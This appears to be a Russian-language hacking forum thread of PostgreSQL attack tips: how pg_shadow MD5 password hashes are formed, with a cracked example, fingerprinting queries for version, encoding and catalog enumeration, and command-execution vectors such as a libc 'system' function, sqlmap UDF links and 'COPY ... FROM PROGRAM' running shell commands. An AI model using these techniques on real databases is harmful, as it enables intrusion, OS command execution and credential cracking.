![]() |
Думаю стоит добавить, как хэшируются пароли в pg_shadow. Например:
# select usename, passwd from pg_shadow; usename | passwd ------------------+------------------------------------- testuser | md5fabb6d7172aadfda4753bf0507ed4396 В хэше первые 3 символа определяют, что это мд5. А дальнейшнее значение (fabb6d7172aadfda4753bf0507ed4396) получается так: md5($password.$usename) В данном случае, md5(m4gictestuser) = fabb6d7172aadfda4753bf0507ed4396 Добавка: как выглядит вывод version(): PostgreSQL 7.4.5 on i686-pc-linux-gnu, compiled by GCC gcc... Т.е. первую цифру выбираем так: substring(version(),12,1) \\\\\\\\\\\\\\\\Еще полезные заготовки: \\\\\\\\\\\\\\\\\\\\\\\\ узнать кодировку БД можно 1) psql -l 2) в запросе сделать select datname||';'||encoding from pg_database Полученные циферки в используемую кодировку преобразуются так: select pg_encoding_to_char($цифра); Либо сразу select datname||';'||pg_encoding_to_char(encoding) from pg_database |
с версии 8.2 этот вектор больше не работает
Код:
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE C STRICT;Код:
ERROR: incompatible library "xxx.so": missing magic blockКод:
https://github.com/sqlmapproject/udfhack/blob/master/linux/lib_postgresqludf_sys/lib_postgresqludf_sys.cКод:
https://github.com/sqlmapproject/sqlmap/tree/master/udf/postgresql/Код:
http://www.jianfensec.com/postgresql_getshell.htmlКод:
https://www.postgresql.org/docs/9.3/sql-copy.htmlКод:
COPY table FROM PROGRAM 'id;uname -a' |
Вывод из pg_catalog.
Колонки Код:
select attname from pg_catalog.pg_attribute where attrelid=(select oid from pg_catalog.pg_class where relname='pg_proc') AND attnum>0
Код:
select distinct schemaname from pg_catalog.pg_tables |
| Время: 10:31 |